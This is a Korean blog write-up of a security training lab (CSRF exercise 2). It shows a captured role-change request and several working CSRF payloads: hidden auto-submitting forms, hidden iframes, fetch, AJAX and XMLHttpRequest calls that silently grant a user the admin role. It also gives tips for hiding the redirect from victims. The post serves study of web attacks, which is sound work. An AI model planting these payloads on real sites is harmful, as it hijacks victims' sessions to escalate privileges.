| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- c
- top-cert
- 레나 튜토리얼
- sk쉴더스 루키즈
- sk 쉴더스
- 레나튜토리얼
- linux
- 동적분석
- 위상 정렬
- 웹개발
- React
- 우아한테크코스
- 프리코스
- 깃
- 루키즈
- 리버싱
- sk 쉴더스 루키즈 31기
- 알고리즘
- 악성코드 분석
- SK쉴더스루키즈
- 예술의 전당
- 루키즈31기
- 자바
- sk 쉴더스 루키즈
- 루키즈 31기
- 우테코
- webhacking
- Dreamhack
- 백엔드
- Practical Malware Analysis Labs
- Today
- Total
yon11b
[SK 쉴더스 루키즈] CSRF 실습문제 2번 본문
권한변경: admin 선택하고 잡은 request
POST /csrfpost/update_role_ok_post.jsp HTTP/1.1
Host: lab.eqst.co.kr:8444
Cookie: NEXT_LOCALE=ko; JSESSIONID=F67F527B8FD2AEBD19EBDB7CA3738292
Content-Length: 46
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: ko-KR,ko;q=0.9
Origin: https://lab.eqst.co.kr:8444
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://lab.eqst.co.kr:8444/csrfpost/update_role.jsp
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
target_id=test1%40test.com&new_role=ADMIN_POST
이것만 보면 된다.
POST /csrfpost/update_role_ok_post.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
target_id=test1%40test.com&new_role=ADMIN_POST
1. <form> 태그 이용한 방법

이걸 content 부분에 삽입해주자.
<form id="f" action="https://lab.eqst.co.kr:8444/csrfpost/update_role_ok_post.jsp" method="POST" target="myTargetFrame" style="display:none">
<input type="hidden" name="target_id" value="test1@test.com">
<input type="hidden" name="new_role" value="ADMIN_POST">
</form>
<img src="x" onerror="document.getElementById('f').submit();" style="display:none;">
form action의 특성상 작동하면 action의 위치로 이동을 하게 된다. 그래서 자동 리다이렉션이 된다.

누가 봐도 수상하다.
1. 리다이렉션이 안되게 해주자. -> <iframe> 사용
방법1)
form의 target을 iframe의 name으로 지정하면, form 제출 후 서버 응답과 리다이렉션 결과가 현재 페이지가 아니라 해당 iframe 안에서 처리된다. 그리고 iframe을 숨기면(style="display:none) 사용자는 화면 이동을 인지하기 어렵다.
2. 내가 쓴 글을 조회해보면 중간중간 <br> 태그가 박혀있다. 이 태그가 있으면 내가 의도한대로 작동하지 않을수도 있으므로 되도록이면 한 줄로 작성해주자.
3. action= 에서 https~~ 부터 다 쓰지 말고 path만 적어줘야 한다.

<iframe name="myTargetFrame" id="myTargetFrame" style="display:none;"></iframe>
<form id="f" action="/csrfpost/update_role_ok_post.jsp" method="POST" target="myTargetFrame" style="display:none">
<input type="hidden" name="target_id" value="test1@test.com">
<input type="hidden" name="new_role" value="ADMIN_POST">
</form>
<img src="x" onerror="document.getElementById('f').submit();" style="display:none;">
이걸 줄바꿈 없이 한 줄로 & 전달할 때는 인코딩(Ctrl+U)해야 한다.
iframe 사용방법2)
iframe의 onload에서 내부 문서에 form을 만들고, 그 iframe 내부에서 바로 submit하게 하도록
<iframe
id="submitFrame"
name="submitFrame"
style="display:none;"
onload="
var doc = this.contentWindow.document;
if (this.dataset.submitted === '1') return;
this.dataset.submitted = '1';
var form = doc.createElement('form');
form.method = 'POST';
form.action = '/csrfpost/update_role_ok_post.jsp';
var targetId = doc.createElement('input');
targetId.type = 'hidden';
targetId.name = 'target_id';
targetId.value = 'test1@test.com';
var newRole = doc.createElement('input');
newRole.type = 'hidden';
newRole.name = 'new_role';
newRole.value = 'ADMIN_POST';
form.appendChild(targetId);
form.appendChild(newRole);
doc.body.appendChild(form);
form.submit();
"
></iframe>
2-1. fetch() 이용한 방법: img src
<img src="x" onerror="fetch('/csrfpost/update_role_ok_post.jsp', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'target_id=' + 'test1@test.com' + '&new_role=' + 'ADMIN_POST',
credentials: 'include'
});" style="display:none;"/>
얘를 공백없이 한 줄로
2-2. fetch() 이용한 방법: script
<script>
fetch('/csrfpost/update_role_ok_post.jsp', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'target_id=test1@test.com%26new_role=ADMIN_POST',
credentials: 'include' // 없어도 됨. 같은 origin이라.
})
.then(response => {
if (response.ok) {
console.log('요청 성공');
} else {
console.error('요청 실패:', response.status);
}
})
.catch(error => {
console.error('네트워크 에러:', error);
});
</script>
3. AJAX
<script>
$.ajax({
url: '/csrfpost/update_role_ok_post.jsp',
type: 'POST',
contentType: 'application/x-www-form-urlencoded',
data: {
target_id: 'test1@test.com',
new_role: 'ADMIN_POST'
},
success: function () {
console.log('요청 성공');
},
error: function (xhr) {
console.error('요청 실패:', xhr.status);
}
});
</script>
(얘를 줄바꿈, 공백 없이)
4. XMLHTTPRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/csrfpost/update_role_ok_post.jsp', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
if (xhr.status >= 200 && xhr.status < 300) {
console.log('요청 성공');
} else {
console.error('요청 실패:', xhr.status);
}
};
xhr.onerror = function () {
console.error('네트워크 에러');
};
xhr.send(
'target_id=' + encodeURIComponent('test1@test.com') +
'%26new_role=' + encodeURIComponent('ADMIN_POST')
);
</script>
5. JQuery 사용
JQuery란?
JavaScript를 더 쉽고 짧게 작성할 수 있도록 만든 라이브러리
JS
document.getElementById('aktform').submit();
JQuery
$('#aktform').submit();
둘은 같은 의미!!
<form id="aktform" action="/csrfpost/update_role_ok_post.jsp" method="post">
<input type="hidden" name="target_id" value="test1@test.com">
<input type="hidden" name="new_role" value="ADMIN_POST">
</form>
<script>
$('#aktform').submit();
</script>


'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] SSRF 실습문제 1~4번 (0) | 2026.07.01 |
|---|---|
| [SK 쉴더스 루키즈] CSRF 실습문제 3번 (0) | 2026.06.30 |
| [SK 쉴더스 루키즈] CSRF 실습문제 1번 (0) | 2026.06.29 |
| [SK 쉴더스 루키즈] Stored XSS 문제 풀기 (0) | 2026.06.27 |
| [SK 쉴더스 루키즈] Reflected XSS: Burp Suite Repeater 이용 (0) | 2026.06.25 |